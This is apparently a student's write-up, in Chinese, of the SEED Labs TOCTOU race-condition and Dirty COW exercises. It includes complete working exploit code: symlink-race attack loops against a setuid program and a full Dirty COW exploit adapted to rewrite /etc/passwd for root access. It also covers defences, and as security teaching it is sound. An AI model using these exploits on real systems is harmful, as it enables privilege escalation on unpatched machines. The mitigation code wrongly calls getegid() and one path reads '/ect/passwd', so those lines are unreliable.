SEEDLabs TOCTOU & Dirty COW
4.1 TOCTOU
实验原理
攻击目标代码中含有以下代码片段:
#include <stdio.h>
#include <unistd.h>
int main() {
char* fn = "/tmp/XYZ";
char buffer[60];
FILE* fp;
/* get user input */
scanf("%50s", buffer );
if (!access(fn, W_OK)) { // ①
fp = fopen(fn, "a+"); // ②
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else printf("No permission \n");
}
以上程序将一段用户输入的字符串追加到文件 /tmp/XYZ
中;① 是 time of check,② 是 time of use,由于这两句并不是原子操作,所以此进程有可能在中间被调度。攻击者可以利用此机会,改变 /tmp/XYZ
的指向,达到任意追加写的效果。
环境准备
① 关闭保护措施(每次重启虚拟机后都需要重新关闭):
$ sudo sysctl -w fs.protected_symlinks=0
$ sudo sysctl fs.protected_regular=0
② 编译 vulp.c
,并且将其所有者改为 root 用户、改其 UID:
$ gcc vulp.c -o vulp
$ sudo chown root vulp
$ sudo chmod 4755 vulp
Task 1
实验目标: 直接在 /etc/passwd
添加一行新的用户信息,以增加新用户
实验步骤:
① 以 sudo 命令、使用 vim 编辑器打开文件 /etc/passwd
,添加以下内容:
$ sudo vim /etc/passwd
其中的 Ua6aM...
是一段特殊的哈希值,代表空的密码
② 登录 test 用户,发现不需要输入密码,直接回车便可登录:
Task 2.A
实验目标: 模拟一个运行速度慢的程序,在其间进行 TOCTOU 攻击
实验方案: 在 sleep()
期间更改文件 /tmp/XYZ
的指向,以达到对 /etc/passwd
追加写的目标
实验步骤:
① 在 vulp.c
的 TOC 和 TOU 中添加一句 sleep(10)
,并且重新运行、更改权限:
// vulp.c
if (!access(fn, W_OK)) {
sleep(10);
fp = fopen(fn, "a+");
...
$ gcc vulp.c -o vulp
$ sudo chown root vulp
$ sudo chmod 4755 vulp
② 首先将 /tmp/XYZ
指向别处,观察其信息:
$ ln -sf /dev/null /tmp/XYZ
$ ls -ld /tmp/XYZ
③ 删除 Task 1 中往 /etc/passwd
中添加的内容;运行 vulp.c
,输入需要添加的内容;
$ ./vulp
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
④ 新开一个终端,在 10s 之内更改 /tmp/XYZ
的指向;
$ ln -sf /ect/passwd /tmp/XYZ
⑤ 10s 之后,再次打开 /etc/passwd
,发现 /etc/passwd
被修改:
Task 2.B
实验目标: 模拟正常情况,编写程序实现自动化攻击
实验方案: target_process.sh
可以自动实现对 victim 的反复执行和攻击成功的检测,因此我们需要编写攻击程序 attack.c
,实现自动地反复执行解除和恢复 /tmp/XYZ
对 /etc/passwd
的软链接,期待某次能够通过检查后并且在打开文件前使得 /tmp/XYZ
指向 /etc/passwd
,实现 TOCTOU 攻击
实验步骤:
① 恢复环境:修改/tmp/XYZ
的指向,删除刚刚向 /etc/passwd
中写的内容:
$ ln -sf /dev/null /tmp/XYZ
② 删除 vulp.c
中的 sleep(10)
,重新编译、更改权限:
// vulp.c
if (!access(fn, W_OK)) {
// sleep(10);
fp = fopen(fn, "a+");
...
$ gcc vulp.c -o vulp
$ sudo chown root vulp
$ sudo chmod 4755 vulp
③ 编写攻击程序 attack.c
并编译,使用死循环完成自动攻击:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main () {
while (1) {
unlink("/tmp/XYZ");
symlink("/etc/passwd", "/tmp/XYZ");
}
return 0;
}
$ gcc -o attack attack.c
④ 运行脚本 target_process.sh
,可以观察到脚本在反复运行 vulp
,并且使用管道将用户 test 的信息作为 vulp
的输入;while 循环的判断条件是 /etc/passwd
文件是否被修改过
#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
echo "test:U6aMy0wojraho:0:0:test:/root:/bin/bash" | ./vulp
new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"
$ ./target_process.sh
⑤ 以sudo
命令运行 ./attack
,等待大约 3min 后观察到攻击成功:
$ sudo ./attack
Task 2.C
实验目标: 更改攻击程序,加快攻击速度
实验方案: Task 2.B 中有两条指令完成更改链接的动作,命中率较低; renameat2()
指令可以交换两个链接,为原子操作,能够提高命中率
实验步骤:
① 恢复环境:创建两个新的链接 /tmp/ABC
和 /tmp/XYZ
;删除刚刚向 /etc/passwd
中写的内容:
$ ln -sf /dev/null /tmp/XYZ
$ ln -sf /dev/null /tmp/ABC
② 修改 attack.c
中的程序,使用 renameat2()
函数交换两个链接;重新编译:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main () {
while (1) {
unsigned int flags = RENAME_EXCHANGE;
unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
}
return 0;
}
$ gcc -o attack attack.c
③ 运行脚本 target_process.sh
,在另一个终端行 attack
;大概几秒钟就可以观察到运行结果:
$ ./target_process.sh
$ ./attack
Task 3.A
实验目标: 对 vulp.c
进行修改,实现最小权限原则
实验步骤:
① 由于我们希望 vulp.c
只能修改实际的用户具有写权限的那些文件,因此在写操作之前把 euid 改成实际的 uid,写操作完成过后再恢复为原来的 euid:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main() {
char* fn = "/tmp/XYZ";
char buffer[60];
FILE* fp;
// changed
uid_t euid = getegid();
seteuid(getuid());
scanf("%50s", buffer);
if (!access(fn, W_OK)) {
fp = fopen(fn, "a+");
if (!fp) {
perror("Open failed");
exit(1);
}
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
} else {
printf("No permission \n");
}
// changed
seteuid(euid);
return 0;
}
② 再重新编译、恢复环境,重复 Task 2.C 中的攻击,发现等待好几分钟都无法成功
Task 3.B
实验目标: 开启 Ubuntu 的保护措施,观察其作用
实验步骤:
① 开启 Ubuntu 的 protected_symlinks:
$ sudo sysctl -w fs.protected_symlinks=1
② 恢复环境:还原刚刚对 vulp.c
的修改,重复 Task 2.C 中的攻击,发现无法成功:
③ 原理:由于 /tmp
是所有用户都可写的文件夹,因此很容易使用以上方式利用 TOCTOU 的漏洞进行攻击;Ubuntu 10 以后增加这项保护机制:
When set to “1”, symlinks are permitted to be followed only when outside a sticky world-writable directory, or when the uid of the symlink and follower match, or when the directory owner matches the symlink’s owner.
由于 /tmp/XYZ
的所有者是 SEED,而当前 euid 和 /tmp
的所有者都是 root,因此没有权限使用,这样可以避免在 /tmp
这类所有用户都可写的文件夹中,用户任意篡改其他用户所有的文件
4.2 Dirty COW
Task 1
实验目标: 使用 cow_attack.c
,对 /zzz
文件发动 Dirty COW 攻击
实验步骤:
① 首先在根目录创建 /zzz
文件,更改权限,发现普通用户只读:
② 编译并运行 cow_attack.c
,注意这个程序用到了 POSIX 的 thread,因此要加上 -lpthread
选项:
$ gcc -o cow_attack cow_attack.c -lpthread
过一会儿,观察 /zzz
的内容,发现已经被改变:
③ 原理:由于 writeTrhead
和 madviseThread
是同时运行的;所以有可能在执行 COW 的某一时刻,把刚刚由原来只读的 page (记为 RO page1)复制出来的新的 page(记为 COW page)又 swap 到磁盘里,导致 follow_page_mask
发现又缺页,又把原来那份 page 从磁盘移到内存中(记为 RO page2 )来满足条件;结果之后写的时候是对 RO page2 写,而不是对 COW page 写;当 RO page2 被换掉时,就会写回到磁盘上的只读的原 page
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>
void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);
int main(int argc, char *argv[]) {
pthread_t pth1,pth2;
struct stat st;
int file_size;
// Open the target file in the read-only mode.
int f=open("/zzz", O_RDONLY);
// Map the file to COW memory using MAP_PRIVATE.
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
// Find the position of the target area
char *position = strstr(map, "222222");
// We have to do the attack using two threads.
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
// Wait for the threads to finish.
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
void *writeThread(void *arg) {
char *content= "******";
off_t offset = (off_t) arg;
int f=open("/proc/self/mem", O_RDWR);
while(1) {
// Move the file pointer to the corresponding position.
lseek(f, offset, SEEK_SET);
// Write to the memory.
write(f, content, strlen(content));
}
}
void *madviseThread(void *arg) {
int file_size = (int) arg;
while(1) {
madvise(map, file_size, MADV_DONTNEED);
}
}
Task 2
实验目标: 利用 Dirty COW 实现对 /etc/passwd
的修改,以获得 root 权限
实验步骤:
① 创建一个新的用户 charlie
,作为被修改对象:
$ sudo adduser charlie
② 备份 /etc/passwd
,防止之后实验出错
③ 修改 cow_attack.c
:要保证长度一致,因此将 UID 改为 0000
...
int main(int argc, char *argv[]) {
...
// Open the target file in the read-only mode.
int f=open("/etc/passwd", O_RDONLY);
...
// Find the position of the target area
char *position = strstr(map, "charlie:x:1001");
...
}
void *writeThread(void *arg) {
char *content= "charlie:x:0000";
...
}
④ 编译并运行 cow_attack.c
,一段时间后停止运行:
$ gcc -o cow_attack cow_attack.c -lpthread
⑤ 登录用户 charlie ,发现 charlie 的 UID 已经被改变: